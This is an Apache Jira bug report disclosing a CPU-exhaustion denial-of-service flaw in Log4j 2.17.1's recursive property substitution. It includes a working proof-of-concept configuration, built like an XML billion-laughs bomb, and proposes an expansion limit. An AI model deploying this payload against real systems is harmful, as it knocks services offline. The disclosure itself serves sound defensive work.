Maksymilian created LOG4J2-3296: ----------------------------------- Summary: Log4j 2.17.1 ‘Properties’ Uncontrolled CPU Resource Consumption Key: LOG4J2-3296 URL: https://issues.apache.org/jira/browse/LOG4J2-3296 Project: Log4j 2 Issue Type: Bug Affects Versions: 2.17.1 Reporter: Maksymilian
If the attacker can control Properties of configuration, local DoS attack (CWE-399) is possible. The current protection against recursion is insufficient. Let’s check {code:java} <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Properties> <Property name="D0">A</Property> <Property name="D1">${D3}</Property> <Property name="D2">${D1}${D1}</Property> <Property name="D3">${D2}${D2}${D2}</Property> </Properties> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [${D3}] - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration> {code} The "isCyclicSubstitution()" function detects infinite recursion and prevents the program from falling into an infinite loop. Eg. {code:java} 2021-12-29 11:13:20,714 main WARN Infinite loop in property interpolation of D3->D2->D1 2021-12-29 11:13:20,719 main WARN Infinite loop in property interpolation of D3->D2->D1 2021-12-29 11:13:20,719 main WARN Infinite loop in property interpolation of D3->D2->D1 2021-12-29 11:13:20,719 main WARN Infinite loop in property interpolation of D3->D2->D1 2021-12-29 11:13:20,719 main WARN Infinite loop in property interpolation of D3->D2->D1 2021-12-29 11:13:20,720 main WARN Infinite loop in property interpolation of D3->D2->D1 11:13:20.836 [${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}${D2}] - This is the first INFO level log message! {code} However, in the case of the XML bomb attack concept, there is no way to protect application here. Of course, instead of XML Entities we can use log4j's Properties. PoC: {code:java} <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Properties> <Property name="D0">A</Property> <Property name="D1">${D0}</Property> <Property name="D2">${D1}${D1}</Property> <Property name="D3">${D2}${D2}${D2}</Property> <Property name="D4">${D3}${D3}${D3}${D3}</Property> <Property name="D5">${D4}${D4}${D4}${D4}${D4}</Property> <Property name="D6">${D5}${D5}${D5}${D5}${D5}${D5}</Property> <Property name="D7">${D6}${D6}${D6}${D6}${D6}${D6}${D6}</Property> <Property name="D8">${D7}${D7}${D7}${D7}${D7}${D7}${D7}${D7}</Property> <Property name="D9">${D8}${D8}${D8}${D8}${D8}${D8}${D8}${D8}${D8}</Property> <Property name="D10">${D9}${D9}${D9}${D9}${D9}${D9}${D9}${D9}${D9}${D9}</Property> <Property name="D11">${D10}${D10}${D10}${D10}${D10}${D10}${D10}${D10}${D10}${D10}${D10}</Property> <Property name="D12">${D11}${D11}${D11}${D11}${D11}${D11}${D11}${D11}${D11}${D11}${D11}${D11}</Property> <Property name="D13">${D12}${D12}${D12}${D12}${D12}${D12}${D12}${D12}${D12}${D12}${D12}${D12}${D12}</Property> <Property name="D14">${D13}${D13}${D13}${D13}${D13}${D13}${D13}${D13}${D13}${D13}${D13}${D13}${D13}${D13}</Property> <Property name="D15">${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}${D14}</Property> <Property name="D16">${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}${D15}</Property> <Property name="D17">${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}${D16}</Property> <Property name="D18">${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}${D17}</Property> <Property name="D19">${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}${D18}</Property> <Property name="D20">${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}${D19}</Property> <Property name="D21">${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}${D20}</Property> <Property name="D22">${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}${D21}</Property> <Property name="D23">${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}${D22}</Property> <Property name="D24">${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}${D23}</Property> <Property name="D25">${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}${D24}</Property> <Property name="D26">${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}${D25}</Property> <Property name="D27">${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}${D26}</Property> <Property name="D28">${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}${D27}</Property> <Property name="D29">${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}${D28}</Property> <Property name="D30">${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}${D29}</Property> <Property name="D31">${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}${D30}</Property> </Properties> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [${D31}] - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration> {code} Log4j should implement the default limit as is the case with the current JDKs. For the XML Bomb attack, the JDK has security measures to prevent high complexity. Example {code:java} [Fatal Error] :1:1: JAXP00010001: The parser has encountered more than "64000" entity expansions in this document; this is the limit imposed by the JDK. {code} Unfortunately, log4j has no such limit. -- This message was sent by Atlassian Jira (v8.20.1#820001)